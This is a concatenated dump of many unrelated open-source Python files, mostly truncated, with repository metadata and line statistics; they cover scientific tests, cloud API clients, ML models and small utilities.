3fd2e3175b855481fd32ee5d4ebc2f50e3468d9a
4,101
py
Python
Tests/Methods/Mesh/test_get_field.py
IrakozeFD/pyleecan
5a93bd98755d880176c1ce8ac90f36ca1b907055
[ "Apache-2.0" ]
null
null
null
Tests/Methods/Mesh/test_get_field.py
IrakozeFD/pyleecan
5a93bd98755d880176c1ce8ac90f36ca1b907055
[ "Apache-2.0" ]
null
null
null
Tests/Methods/Mesh/test_get_field.py
IrakozeFD/pyleecan
5a93bd98755d880176c1ce8ac90f36ca1b907055
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- import pytest import numpy as np from unittest import TestCase from SciDataTool import DataTime, Data1D, DataLinspace, VectorField from pyleecan.Classes.SolutionData import SolutionData from pyleecan.Classes.SolutionMat import SolutionMat from pyleecan.Classes.SolutionVector import SolutionVe...
32.039063
87
0.566935
3,731
0.909778
0
0
3,773
0.92002
0
0
621
0.151426
3fd35632335b7013aa84b5d96f778f88b22e2bbe
17,026
py
Python
python/services/compute/beta/reservation.py
trodge/declarative-resource-client-library
2cb7718a5074776b3113cc18a7483b54022238f3
[ "Apache-2.0" ]
16
2021-01-08T19:35:22.000Z
2022-03-23T16:23:49.000Z
python/services/compute/beta/reservation.py
trodge/declarative-resource-client-library
2cb7718a5074776b3113cc18a7483b54022238f3
[ "Apache-2.0" ]
1
2021-08-18T19:12:20.000Z
2021-08-18T19:12:20.000Z
python/services/compute/beta/reservation.py
LaudateCorpus1/declarative-resource-client-library
a559c4333587fe9531cef150532e6fcafff153e4
[ "Apache-2.0" ]
11
2021-03-18T11:27:28.000Z
2022-03-12T06:49:14.000Z
# Copyright 2021 Google LLC. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
36.615054
119
0.681017
16,171
0.949783
0
0
8,482
0.498179
0
0
917
0.053859
3fd4a59a910de7324648c153841dea6bd5328a4e
4,682
py
Python
Examples/cimpleCraft/cimple4.py
shaesaert/TuLiPXML
56cf4d58a9d7e17b6f6aebe6de8d5a1231035671
[ "BSD-3-Clause" ]
1
2021-05-28T23:44:28.000Z
2021-05-28T23:44:28.000Z
Examples/cimpleCraft/cimple4.py
shaesaert/TuLiPXML
56cf4d58a9d7e17b6f6aebe6de8d5a1231035671
[ "BSD-3-Clause" ]
2
2017-10-03T18:54:08.000Z
2018-08-21T09:50:09.000Z
Examples/cimpleCraft/cimple4.py
shaesaert/TuLiPXML
56cf4d58a9d7e17b6f6aebe6de8d5a1231035671
[ "BSD-3-Clause" ]
1
2018-10-06T12:58:52.000Z
2018-10-06T12:58:52.000Z
# Import modules from __future__ import print_function import sys import numpy as np from polytope import box2poly from tulip import hybrid from tulip.abstract import prop2part, discretize import Interface.DSL as DSL from Interface import Statechart as dumpsmach from Interface.Reduce import * from Interface.Transfor...
32.971831
110
0.548056
0
0
0
0
0
0
0
0
2,184
0.466467
3fd50d9f4c976d633be6e56345cbe4edfe16b20b
561
py
Python
CableClub/cable_club_colosseum.py
V-FEXrt/Pokemon-Spoof-Plus
d397d680742496b7f64b401511da7eb57f63c973
[ "MIT" ]
2
2017-05-04T20:24:19.000Z
2017-05-04T20:58:07.000Z
CableClub/cable_club_colosseum.py
V-FEXrt/Pokemon-Spoof-Plus
d397d680742496b7f64b401511da7eb57f63c973
[ "MIT" ]
null
null
null
CableClub/cable_club_colosseum.py
V-FEXrt/Pokemon-Spoof-Plus
d397d680742496b7f64b401511da7eb57f63c973
[ "MIT" ]
null
null
null
from AI.team_manager import TeamManager from CableClub.cable_club_constants import Com out_byte = 0 last_recieved = 0 count = 0 def colosseum_process_byte(byte): global out_byte, last_recieved, count if byte >= Com.ATTACK_MOVE_1 and byte <= Com.SWITCH_POKEMON_6: if count == 12: last_reciev...
24.391304
66
0.654189
0
0
0
0
0
0
0
0
0
0
3fd6f8b99302959fd856c0174a84ad3698e8de10
931
py
Python
workflow/wrappers/bio/popoolation2/indel_filtering_identify_indel_regions/wrapper.py
NBISweden/manticore-smk
fd0b4ccd4239dc91dac423d0ea13478d36702561
[ "MIT" ]
null
null
null
workflow/wrappers/bio/popoolation2/indel_filtering_identify_indel_regions/wrapper.py
NBISweden/manticore-smk
fd0b4ccd4239dc91dac423d0ea13478d36702561
[ "MIT" ]
null
null
null
workflow/wrappers/bio/popoolation2/indel_filtering_identify_indel_regions/wrapper.py
NBISweden/manticore-smk
fd0b4ccd4239dc91dac423d0ea13478d36702561
[ "MIT" ]
2
2021-08-23T16:09:51.000Z
2021-11-12T21:35:56.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- __author__ = "Per Unneberg" __copyright__ = "Copyright 2020, Per Unneberg" __email__ = "[email protected]" __license__ = "MIT" import os import re import tempfile from snakemake.shell import shell from snakemake.utils import logger log = snakemake.log_fmt_shell(...
22.707317
83
0.692803
0
0
0
0
0
0
0
0
364
0.390977
3fd71b6b624dc062e8df4e8fc57377ace10d329d
6,741
py
Python
open_publishing/provision/progression_rule.py
open-publishing/open-publishing-api
0d1646bb2460c6f35cba610a355941d2e07bfefd
[ "BSD-3-Clause" ]
null
null
null
open_publishing/provision/progression_rule.py
open-publishing/open-publishing-api
0d1646bb2460c6f35cba610a355941d2e07bfefd
[ "BSD-3-Clause" ]
null
null
null
open_publishing/provision/progression_rule.py
open-publishing/open-publishing-api
0d1646bb2460c6f35cba610a355941d2e07bfefd
[ "BSD-3-Clause" ]
null
null
null
from open_publishing.core import SequenceItem, SequenceField, SequenceItemProperty from open_publishing.core import FieldDescriptor, DatabaseObjectField, SimpleField from open_publishing.user import User from open_publishing.core.enums import ValueStatus from open_publishing.core.enums import ProvisionRuleRole, Provisi...
35.856383
100
0.558374
6,209
0.92108
0
0
838
0.124314
0
0
321
0.047619
3fd8a3a7cd4b29135af9a933907e8e7ce8de084c
2,746
py
Python
forms/utils.py
braceio/forms
deb12f37447d6167ad284ae68085a02454c8f649
[ "MIT" ]
36
2015-01-02T05:15:02.000Z
2018-03-06T11:36:41.000Z
forms/utils.py
braceio/forms
deb12f37447d6167ad284ae68085a02454c8f649
[ "MIT" ]
1
2015-02-16T20:03:41.000Z
2016-01-01T23:42:25.000Z
forms/utils.py
braceio/forms
deb12f37447d6167ad284ae68085a02454c8f649
[ "MIT" ]
20
2015-01-04T21:38:12.000Z
2021-01-17T12:59:10.000Z
from datetime import timedelta from functools import update_wrapper from flask import make_response, current_app, request, url_for, jsonify import uuid # decorators def crossdomain(origin=None, methods=None, headers=None, max_age=21600, attach_to_all=True, automatic_options=True): ...
31.563218
81
0.621267
0
0
0
0
0
0
0
0
350
0.127458
3fd8c6ef2dca4f5f0372db69829883a2a443d40b
4,536
py
Python
tests/ref_test.py
lykme516/pykka
d66b0c49658fc0e7c4e1ae46a0f9c50c7e964ca5
[ "Apache-2.0" ]
1
2021-01-03T09:25:23.000Z
2021-01-03T09:25:23.000Z
tests/ref_test.py
hujunxianligong/pykka
d66b0c49658fc0e7c4e1ae46a0f9c50c7e964ca5
[ "Apache-2.0" ]
null
null
null
tests/ref_test.py
hujunxianligong/pykka
d66b0c49658fc0e7c4e1ae46a0f9c50c7e964ca5
[ "Apache-2.0" ]
null
null
null
import time import unittest from pykka import ActorDeadError, ThreadingActor, ThreadingFuture, Timeout class AnActor(object): def __init__(self, received_message): super(AnActor, self).__init__() self.received_message = received_message def on_receive(self, message): if message.get(...
31.068493
74
0.668651
3,744
0.825397
0
0
0
0
0
0
430
0.094797
3fda3cc0af3e5e42cd6c1e11390f1713cf4c09d1
3,365
py
Python
tests/unit/test_baseObject.py
asaranprasad/nvda
e9609694acbfb06398eb6552067a0dcd532d67af
[ "bzip2-1.0.6" ]
1
2018-11-16T10:15:59.000Z
2018-11-16T10:15:59.000Z
tests/unit/test_baseObject.py
asaranprasad/nvda
e9609694acbfb06398eb6552067a0dcd532d67af
[ "bzip2-1.0.6" ]
3
2017-09-29T17:14:18.000Z
2019-05-20T16:13:39.000Z
tests/unit/test_baseObject.py
asaranprasad/nvda
e9609694acbfb06398eb6552067a0dcd532d67af
[ "bzip2-1.0.6" ]
1
2017-09-29T08:53:52.000Z
2017-09-29T08:53:52.000Z
#tests/unit/test_baseObject.py #A part of NonVisual Desktop Access (NVDA) #This file is covered by the GNU General Public License. #See the file COPYING for more details. #Copyright (C) 2018 NV Access Limited, Babbage B.V. """Unit tests for the baseObject module, its classes and their derivatives.""" import u...
30.044643
94
0.744428
2,887
0.857949
0
0
284
0.084398
0
0
1,012
0.300743
3fda75ffd417e01dfff80ddf791281704e021a18
3,960
py
Python
querybook/server/lib/query_executor/connection_string/hive.py
shivammmmm/querybook
71263eb7db79e56235ea752f2cf3339ca9b3a092
[ "Apache-2.0" ]
1,144
2021-03-30T05:06:16.000Z
2022-03-31T10:40:31.000Z
querybook/server/lib/query_executor/connection_string/hive.py
shivammmmm/querybook
71263eb7db79e56235ea752f2cf3339ca9b3a092
[ "Apache-2.0" ]
593
2021-07-01T10:34:25.000Z
2022-03-31T23:24:40.000Z
querybook/server/lib/query_executor/connection_string/hive.py
shivammmmm/querybook
71263eb7db79e56235ea752f2cf3339ca9b3a092
[ "Apache-2.0" ]
113
2021-03-30T00:07:20.000Z
2022-03-31T07:18:43.000Z
import re from typing import Dict, Tuple, List, NamedTuple, Optional from lib.utils.decorators import with_exception_retry from .helpers.common import ( split_hostport, get_parsed_variables, merge_hostport, random_choice, ) from .helpers.zookeeper import get_hostname_and_port_from_zk # TODO: make thes...
33.846154
202
0.689899
408
0.10303
0
0
942
0.237879
0
0
710
0.179293
3fdb9c34cb8887a4abfe9945968ed8dd70631d27
137
py
Python
flopz/__init__.py
Flopz-Project/flopz
eb470811e4a8be5e5d625209b0f8eb7ccd1d5da3
[ "Apache-2.0" ]
7
2021-11-19T15:53:58.000Z
2022-03-28T03:38:52.000Z
flopz/__init__.py
Flopz-Project/flopz
eb470811e4a8be5e5d625209b0f8eb7ccd1d5da3
[ "Apache-2.0" ]
null
null
null
flopz/__init__.py
Flopz-Project/flopz
eb470811e4a8be5e5d625209b0f8eb7ccd1d5da3
[ "Apache-2.0" ]
1
2022-03-25T12:44:01.000Z
2022-03-25T12:44:01.000Z
""" flopz. Low Level Assembler and Firmware Instrumentation Toolkit """ __version__ = "0.2.0" __author__ = "Noelscher Consulting GmbH"
15.222222
56
0.744526
0
0
0
0
0
0
0
0
106
0.773723
3fdde609468413e798c5347a27251969395c0fce
2,294
py
Python
OracleCASB_API_Client/occs.py
ftnt-cse/Oracle_CASB_API_Client
00c92c7383d62d029736481f079773253e05589c
[ "Apache-2.0" ]
null
null
null
OracleCASB_API_Client/occs.py
ftnt-cse/Oracle_CASB_API_Client
00c92c7383d62d029736481f079773253e05589c
[ "Apache-2.0" ]
null
null
null
OracleCASB_API_Client/occs.py
ftnt-cse/Oracle_CASB_API_Client
00c92c7383d62d029736481f079773253e05589c
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python3 import sys, logging import requests, json, argparse, textwrap from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) from oracle_casb_api import * parser = argparse.ArgumentParser( prog='Oracle CASB API Client'...
37.606557
170
0.732781
0
0
0
0
0
0
0
0
710
0.309503
3fde07047223da1d88704610e639913da4a2c4f4
1,787
py
Python
src/classification_metrics.py
crmauceri/ReferringExpressions
d2ca43bf6df88f83fbe6dfba99b1105dd14592f4
[ "Apache-2.0" ]
6
2020-06-05T06:52:59.000Z
2021-05-27T11:38:16.000Z
src/classification_metrics.py
crmauceri/ReferringExpressions
d2ca43bf6df88f83fbe6dfba99b1105dd14592f4
[ "Apache-2.0" ]
1
2021-03-28T13:27:21.000Z
2021-04-29T17:58:28.000Z
src/classification_metrics.py
crmauceri/ReferringExpressions
d2ca43bf6df88f83fbe6dfba99b1105dd14592f4
[ "Apache-2.0" ]
2
2019-12-09T09:14:47.000Z
2019-12-22T13:57:08.000Z
import argparse import json from data_management.DatasetFactory import datasetFactory from config import cfg import numpy as np if __name__ == "__main__": parser = argparse.ArgumentParser(description='Calculates metrics from output of a Classification network.' + ...
34.365385
115
0.614997
0
0
0
0
0
0
0
0
428
0.239508
3fe076a26915fb3a8a0df4e110f97d0bbe198980
6,448
py
Python
base_model.py
Unmesh-Kumar/DMRM
f1c24049bd527c9dcc5ab6e6727dfa6c8e794c02
[ "MIT" ]
23
2019-12-19T02:46:33.000Z
2022-03-22T07:52:28.000Z
base_model.py
Unmesh-Kumar/DMRM
f1c24049bd527c9dcc5ab6e6727dfa6c8e794c02
[ "MIT" ]
5
2020-07-28T14:25:45.000Z
2022-03-08T14:30:21.000Z
base_model.py
Unmesh-Kumar/DMRM
f1c24049bd527c9dcc5ab6e6727dfa6c8e794c02
[ "MIT" ]
5
2019-12-20T15:46:08.000Z
2021-11-23T01:15:32.000Z
import torch import torch.nn as nn from attention import Attention, NewAttention from language_model import WordEmbedding, QuestionEmbedding, QuestionEmbedding2 from classifier import SimpleClassifier from fc import FCNet from Decoders.decoder1 import _netG as netG import torch.nn.functional as F from torch.autograd im...
40.049689
114
0.618021
4,991
0.774038
0
0
0
0
0
0
577
0.089485
3fe105950fe7c097a0cf82f9fd41aa14438e8996
66
py
Python
qymel/core/__init__.py
hal1932/QyMEL
4fdf2409aaa34516f021a37aac0f011fe6ea6073
[ "MIT" ]
6
2019-12-23T05:20:29.000Z
2021-01-30T21:17:32.000Z
qymel/core/__init__.py
hal1932/QyMEL
4fdf2409aaa34516f021a37aac0f011fe6ea6073
[ "MIT" ]
null
null
null
qymel/core/__init__.py
hal1932/QyMEL
4fdf2409aaa34516f021a37aac0f011fe6ea6073
[ "MIT" ]
1
2020-03-05T08:17:44.000Z
2020-03-05T08:17:44.000Z
# coding: utf-8 from .force_reload import * from .scopes import *
16.5
27
0.727273
0
0
0
0
0
0
0
0
15
0.227273
3fe18d763d2aae257f541fc27bf3a672136ac390
5,244
py
Python
lambda/nodemanager.py
twosdai/cloud-enablement-aws
145bf88acc1781cdd696e2d77a5c2d3b796e16c3
[ "Apache-2.0" ]
11
2018-05-25T18:48:30.000Z
2018-11-30T22:06:58.000Z
lambda/nodemanager.py
twosdai/cloud-enablement-aws
145bf88acc1781cdd696e2d77a5c2d3b796e16c3
[ "Apache-2.0" ]
10
2019-01-29T19:39:46.000Z
2020-07-01T07:37:08.000Z
lambda/nodemanager.py
twosdai/cloud-enablement-aws
145bf88acc1781cdd696e2d77a5c2d3b796e16c3
[ "Apache-2.0" ]
18
2019-01-29T05:31:23.000Z
2021-09-16T20:04:24.000Z
# Copyright 2002-2018 MarkLogic Corporation. All Rights Reserved. import boto3 import botocore import logging import hashlib import json import time from botocore.exceptions import ClientError log = logging.getLogger() log.setLevel(logging.INFO) # global variables ec2_client = boto3.client('ec2') asg_client = boto3...
35.432432
101
0.54939
0
0
0
0
0
0
0
0
1,273
0.242754
3fe27cb210e5f440aba20265f1b60a9554e9c206
5,724
py
Python
pyABC/0.10.14/petab/amici.py
ICB-DCM/lookahead-study
b9849ce2b0cebbe55d6c9f7a248a5f4dff191007
[ "MIT" ]
3
2021-01-20T14:14:04.000Z
2022-02-23T21:21:18.000Z
pyABC/0.10.14/petab/amici.py
ICB-DCM/lookahead-study
b9849ce2b0cebbe55d6c9f7a248a5f4dff191007
[ "MIT" ]
3
2021-01-20T23:11:20.000Z
2021-02-15T14:36:39.000Z
pyABC/Modified/petab/amici.py
ICB-DCM/lookahead-study
b9849ce2b0cebbe55d6c9f7a248a5f4dff191007
[ "MIT" ]
null
null
null
import logging from collections.abc import Sequence, Mapping from typing import Callable, Union import copy import pyabc from .base import PetabImporter, rescale logger = logging.getLogger(__name__) try: import petab import petab.C as C except ImportError: petab = C = None logger.error("Install petab...
32.338983
79
0.601328
4,973
0.868798
0
0
0
0
0
0
2,249
0.392907
3fe32adbae6d30f0649147cee237cf1904d94533
99
py
Python
ui_automation_core/helpers/browser/alert_action_type.py
Harshavardhanchowdary/python-ui-testing-automation
a624c6b945276c05722be2919d95aa9e5539d0d0
[ "MIT" ]
null
null
null
ui_automation_core/helpers/browser/alert_action_type.py
Harshavardhanchowdary/python-ui-testing-automation
a624c6b945276c05722be2919d95aa9e5539d0d0
[ "MIT" ]
null
null
null
ui_automation_core/helpers/browser/alert_action_type.py
Harshavardhanchowdary/python-ui-testing-automation
a624c6b945276c05722be2919d95aa9e5539d0d0
[ "MIT" ]
null
null
null
from enum import Enum, auto class AlertActionType(Enum): ACCEPT = auto() DISMISS = auto()
16.5
28
0.676768
69
0.69697
0
0
0
0
0
0
0
0
3fe331ae497b79a61bbb73e932ba9991e96f0b3f
18,769
py
Python
xsertion/test_layers.py
karazijal/xsertion
102c1a4f07b049647064a968257d56b00a064d6c
[ "MIT" ]
null
null
null
xsertion/test_layers.py
karazijal/xsertion
102c1a4f07b049647064a968257d56b00a064d6c
[ "MIT" ]
null
null
null
xsertion/test_layers.py
karazijal/xsertion
102c1a4f07b049647064a968257d56b00a064d6c
[ "MIT" ]
1
2021-11-09T09:06:48.000Z
2021-11-09T09:06:48.000Z
import unittest from xsertion.layers import * from keras.layers import Input, MaxPooling2D, Convolution2D, Activation, merge, Dense, Flatten from keras.models import Model import json def desc(model : Model): base_model_disc = json.loads(model.to_json()) return base_model_disc['config'] def topo_check(layer...
42.656818
121
0.553146
18,045
0.961426
0
0
0
0
0
0
2,033
0.108317
3fe371c906222e31026634c1cd2e9e52427c680b
151
py
Python
language/python/modules/websocket/websocket_module.py
bigfoolliu/liu_aistuff
aa661d37c05c257ee293285dd0868fb7e8227628
[ "MIT" ]
1
2019-11-25T07:23:42.000Z
2019-11-25T07:23:42.000Z
language/python/modules/websocket/websocket_module.py
bigfoolliu/liu_aistuff
aa661d37c05c257ee293285dd0868fb7e8227628
[ "MIT" ]
13
2020-01-07T16:09:47.000Z
2022-03-02T12:51:44.000Z
language/python/modules/websocket/websocket_module.py
bigfoolliu/liu_aistuff
aa661d37c05c257ee293285dd0868fb7e8227628
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding:utf-8 -*- # author: bigfoolliu """ web socket可用于实时聊天 """ import websocket if __name__ == '__main__': pass
10.066667
26
0.629139
0
0
0
0
0
0
0
0
113
0.684848
3fe5513bca482d43a59c15049895c9303427b971
85
py
Python
engines/__init__.py
mukeran/simple_sandbox
a2a97d13d814548f313871f0bd5c48f65b1a6180
[ "MIT" ]
null
null
null
engines/__init__.py
mukeran/simple_sandbox
a2a97d13d814548f313871f0bd5c48f65b1a6180
[ "MIT" ]
null
null
null
engines/__init__.py
mukeran/simple_sandbox
a2a97d13d814548f313871f0bd5c48f65b1a6180
[ "MIT" ]
null
null
null
from .watcher import FileWatcher from .fpm_sniffer import FPMSniffer, FPMSnifferMode
28.333333
51
0.858824
0
0
0
0
0
0
0
0
0
0
3fe6078d322f58b763a2e00d815b964e8911f9bf
885
py
Python
PyTrinamic/modules/TMC_EvalShield.py
trinamic-AA/PyTrinamic
b054f4baae8eb6d3f5d2574cf69c232f66abb4ee
[ "MIT" ]
37
2019-01-13T11:08:45.000Z
2022-03-25T07:18:15.000Z
PyTrinamic/modules/TMC_EvalShield.py
AprDec/PyTrinamic
a9db10071f8fbeebafecb55c619e5893757dd0ce
[ "MIT" ]
56
2019-02-25T02:48:27.000Z
2022-03-31T08:45:34.000Z
PyTrinamic/modules/TMC_EvalShield.py
AprDec/PyTrinamic
a9db10071f8fbeebafecb55c619e5893757dd0ce
[ "MIT" ]
26
2019-01-14T05:20:16.000Z
2022-03-08T13:27:35.000Z
''' Created on 18.03.2020 @author: LK ''' class TMC_EvalShield(object): """ Arguments: connection: Type: connection interface The connection interface used for this module. shield: Type: class The EvalShield class used for every axis on this mod...
26.818182
85
0.615819
838
0.946893
0
0
0
0
0
0
413
0.466667
3fe68b75dfeb56985a424ac16b45a678c22019cc
285
py
Python
kattis/rollcall.py
terror/Solutions
1ad33daec95b565a38ac4730261593bcf249ac86
[ "CC0-1.0" ]
2
2021-04-05T14:26:37.000Z
2021-06-10T04:22:01.000Z
kattis/rollcall.py
terror/Solutions
1ad33daec95b565a38ac4730261593bcf249ac86
[ "CC0-1.0" ]
null
null
null
kattis/rollcall.py
terror/Solutions
1ad33daec95b565a38ac4730261593bcf249ac86
[ "CC0-1.0" ]
null
null
null
import sys d, n = [], {} for i in sys.stdin: if i.rstrip() == "": break a, b = map(str, i.split()) d.append([a, b]) if a in n: n[a] += 1 else: n[a] = 1 d = sorted(d, key=lambda x: (x[1], x[0])) for k, v in d: if n[k] > 1: print(k, v) else: print(k)
14.25
41
0.45614
0
0
0
0
0
0
0
0
2
0.007018
3fe82d5a85daeba3d97651074742e05e1165543c
1,697
py
Python
test/vizier/test_nodes.py
robotarium/vizier
6ce2be4fc0edcdaf5ba246094c2e79bff32e219d
[ "MIT" ]
11
2016-08-18T20:37:06.000Z
2019-11-24T17:34:27.000Z
test/vizier/test_nodes.py
robotarium/vizier
6ce2be4fc0edcdaf5ba246094c2e79bff32e219d
[ "MIT" ]
6
2018-10-07T17:01:40.000Z
2019-11-24T17:41:16.000Z
test/vizier/test_nodes.py
robotarium/vizier
6ce2be4fc0edcdaf5ba246094c2e79bff32e219d
[ "MIT" ]
3
2016-08-22T13:58:24.000Z
2018-06-07T21:06:35.000Z
import json import vizier.node as node import unittest class TestVizierNodes(unittest.TestCase): def setUp(self): path_a = '../config/node_desc_a.json' path_b = '../config/node_desc_b.json' try: f = open(path_a, 'r') node_descriptor_a = json.load(f) f....
30.854545
69
0.614614
1,639
0.965822
0
0
0
0
0
0
201
0.118444
3fe84decaa2c4b931f2c3a8a70e6c95473baf73c
457
py
Python
tests/not_test_basics.py
kipfer/simple_modbus_server
f16caea62311e1946498392ab4cb5f3d2e1306cb
[ "MIT" ]
1
2021-03-11T13:04:00.000Z
2021-03-11T13:04:00.000Z
tests/not_test_basics.py
kipfer/simple_modbus_server
f16caea62311e1946498392ab4cb5f3d2e1306cb
[ "MIT" ]
null
null
null
tests/not_test_basics.py
kipfer/simple_modbus_server
f16caea62311e1946498392ab4cb5f3d2e1306cb
[ "MIT" ]
null
null
null
import modbus_server s = modbus_server.Server( host="localhost", port=5020, daemon=True, loglevel="WARNING", autostart=False ) s.start() s.set_coil(1, True) s.set_coils(2, [True, False, True]) s.set_discrete_input(1, True) s.set_discrete_inputs(2, [True, False, True]) s.set_input_register(1, 1234, "h") s.set_i...
20.772727
81
0.68709
0
0
0
0
0
0
0
0
32
0.070022
3fe8ccedd5919a259d55f873b8eeacc8ac42d24a
5,417
py
Python
cuda/rrnn_semiring.py
Noahs-ARK/rational-recurrences
3b7ef54520bcaa2b24551cf42a125c9251124229
[ "MIT" ]
27
2018-09-28T02:17:07.000Z
2020-10-15T14:57:16.000Z
cuda/rrnn_semiring.py
Noahs-ARK/rational-recurrences
3b7ef54520bcaa2b24551cf42a125c9251124229
[ "MIT" ]
1
2021-03-25T22:08:35.000Z
2021-03-25T22:08:35.000Z
cuda/rrnn_semiring.py
Noahs-ARK/rational-recurrences
3b7ef54520bcaa2b24551cf42a125c9251124229
[ "MIT" ]
5
2018-11-06T05:49:51.000Z
2019-10-26T03:36:43.000Z
RRNN_SEMIRING = """ extern "C" { __global__ void rrnn_semiring_fwd( const float * __restrict__ u, const float * __restrict__ eps, const float * __restrict__ c1_init, const float * __restrict__ c2_init, const int len, ...
36.601351
86
0.502677
0
0
0
0
0
0
0
0
5,400
0.996862
3fe8e4411ff091a355fe9346309f0659c9b08983
1,841
py
Python
tests.py
c-okelly/movie_script_analytics
6fee40c0378921199ab14ca0b4db447b9f4e7bcf
[ "MIT" ]
1
2017-11-09T13:24:47.000Z
2017-11-09T13:24:47.000Z
tests.py
c-okelly/movie_script_analytics
6fee40c0378921199ab14ca0b4db447b9f4e7bcf
[ "MIT" ]
null
null
null
tests.py
c-okelly/movie_script_analytics
6fee40c0378921199ab14ca0b4db447b9f4e7bcf
[ "MIT" ]
null
null
null
import re import text_objects import numpy as np import pickle # f = open("Data/scripts_text/17-Again.txt", 'r') # text = f.read() # text = text[900:1500] # print(text) # count = len(re.findall("\W+",text)) # print(count) # # lines = text.split('\n') # lines_on_empty = re.split("\n\s+\n", text) # print(len(lines)) #...
23.303797
98
0.558935
0
0
0
0
0
0
0
0
1,576
0.856056
3fea883542666ba0f05267690f8d99f2d06892ea
1,945
py
Python
malcolm/modules/demo/parts/countermovepart.py
dinojugosloven/pymalcolm
0b856ee1113efdb42f2f3b15986f8ac5f9e1b35a
[ "Apache-2.0" ]
null
null
null
malcolm/modules/demo/parts/countermovepart.py
dinojugosloven/pymalcolm
0b856ee1113efdb42f2f3b15986f8ac5f9e1b35a
[ "Apache-2.0" ]
null
null
null
malcolm/modules/demo/parts/countermovepart.py
dinojugosloven/pymalcolm
0b856ee1113efdb42f2f3b15986f8ac5f9e1b35a
[ "Apache-2.0" ]
null
null
null
import time from annotypes import Anno, add_call_types from malcolm.core import PartRegistrar from malcolm.modules import builtin # Pull re-used annotypes into our namespace in case we are subclassed APartName = builtin.parts.APartName AMri = builtin.parts.AMri with Anno("The demand value to move our counter motor ...
36.018519
77
0.679177
1,327
0.682262
0
0
1,360
0.699229
0
0
713
0.366581
3fea9db35ea3c9741fed546bd70ab750ac964bbd
12,740
py
Python
scripts/run_temporal_averaging.py
alexkaiser/heart_valves
53f30ec3680503542890a84949b7fb51d1734272
[ "BSD-3-Clause" ]
null
null
null
scripts/run_temporal_averaging.py
alexkaiser/heart_valves
53f30ec3680503542890a84949b7fb51d1734272
[ "BSD-3-Clause" ]
null
null
null
scripts/run_temporal_averaging.py
alexkaiser/heart_valves
53f30ec3680503542890a84949b7fb51d1734272
[ "BSD-3-Clause" ]
null
null
null
import pyvista import os, sys, glob import subprocess import math from natsort import natsorted import multiprocessing def write_pvd(base_name, dt, nsteps, extension, nprocs_sim=1): prefix = '''<?xml version="1.0"?> <VTKFile type="Collection" version="0.1" byte_order="LittleEndian" ...
33.882979
209
0.586499
0
0
0
0
0
0
0
0
3,968
0.31146
3fec010889ccbdbd07b4bb7fe68a11cde75d9565
3,641
py
Python
server.py
MVHSiot/yelperhelper
a94dc9e80e301241da58b678770338e3fa9b642e
[ "MIT" ]
null
null
null
server.py
MVHSiot/yelperhelper
a94dc9e80e301241da58b678770338e3fa9b642e
[ "MIT" ]
null
null
null
server.py
MVHSiot/yelperhelper
a94dc9e80e301241da58b678770338e3fa9b642e
[ "MIT" ]
null
null
null
import sys try: sys.path.append('/opt/python3/lib/python3.4/site-packages') except: pass import yelp_api import pickle import calc pub_key = 'pub-c-2c436bc0-666e-4975-baaf-63f16a61558d' sub_key = 'sub-c-0442432a-3312-11e7-bae3-02ee2ddab7fe' from pubnub.callbacks import SubscribeCallback from pubnub.enums impor...
44.402439
198
0.611096
2,925
0.803351
0
0
0
0
0
0
711
0.195276
3fed58a2f0d55e3c995e8a4ab026bd1e2fa3c343
59
py
Python
gmaploader/__init__.py
cormac-rynne/gmaploader
eec679af9a5d36b691bde05ffd6043bfef7e1acf
[ "MIT" ]
2
2022-02-02T16:41:17.000Z
2022-03-16T08:43:18.000Z
gmaploader/__init__.py
cormac-rynne/gmaploader
eec679af9a5d36b691bde05ffd6043bfef7e1acf
[ "MIT" ]
null
null
null
gmaploader/__init__.py
cormac-rynne/gmaploader
eec679af9a5d36b691bde05ffd6043bfef7e1acf
[ "MIT" ]
null
null
null
__version__ = '0.1.1' from .gmaploader import GMapLoader
11.8
34
0.745763
0
0
0
0
0
0
0
0
7
0.118644
3feef5a3e0cc27bf16fbab36a842bb9bb4ecc2cd
643
py
Python
machina/templatetags/forum_tracking_tags.py
jujinesy/initdjango-machina
93c24877f546521867b3ef77fa278237af932d42
[ "BSD-3-Clause" ]
1
2021-10-08T03:31:24.000Z
2021-10-08T03:31:24.000Z
machina/templatetags/forum_tracking_tags.py
jujinesy/initdjango-machina
93c24877f546521867b3ef77fa278237af932d42
[ "BSD-3-Clause" ]
7
2020-02-12T01:11:13.000Z
2022-03-11T23:26:32.000Z
machina/templatetags/forum_tracking_tags.py
jujinesy/initdjango-machina
93c24877f546521867b3ef77fa278237af932d42
[ "BSD-3-Clause" ]
1
2019-04-20T05:26:27.000Z
2019-04-20T05:26:27.000Z
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django import template from machina.core.loading import get_class TrackingHandler = get_class('forum_tracking.handler', 'TrackingHandler') register = template.Library() @register.simple_tag(takes_context=True) def get_unread_topics(context, to...
24.730769
91
0.738725
0
0
0
0
396
0.615863
0
0
259
0.402799
3fef44aadd222f045efc994567ce2c00bef12f97
1,194
py
Python
xmodaler/modeling/layers/attention_pooler.py
cclauss/xmodaler
1368fba6c550e97008628edbf01b59a0a6c8fde5
[ "Apache-2.0" ]
830
2021-06-26T07:16:33.000Z
2022-03-25T10:31:32.000Z
xmodaler/modeling/layers/attention_pooler.py
kevinjunwei/xmodaler
3e128a816876988c5fb07d842fde4a140e699dde
[ "Apache-2.0" ]
28
2021-08-19T12:39:02.000Z
2022-03-14T13:04:19.000Z
xmodaler/modeling/layers/attention_pooler.py
kevinjunwei/xmodaler
3e128a816876988c5fb07d842fde4a140e699dde
[ "Apache-2.0" ]
85
2021-08-15T06:58:29.000Z
2022-02-19T07:30:56.000Z
# Copyright 2021 JD.com, Inc., JD AI """ @author: Yehao Li @contact: [email protected] """ import torch import torch.nn as nn __all__ = ["AttentionPooler"] class AttentionPooler(nn.Module): def __init__( self, *, hidden_size: int, output_size: int, dropout: float, ...
29.85
68
0.593802
1,031
0.863484
0
0
0
0
0
0
111
0.092965
3fefc1a6bf75d8c0151f7c8fa8710346285e3ae9
281
py
Python
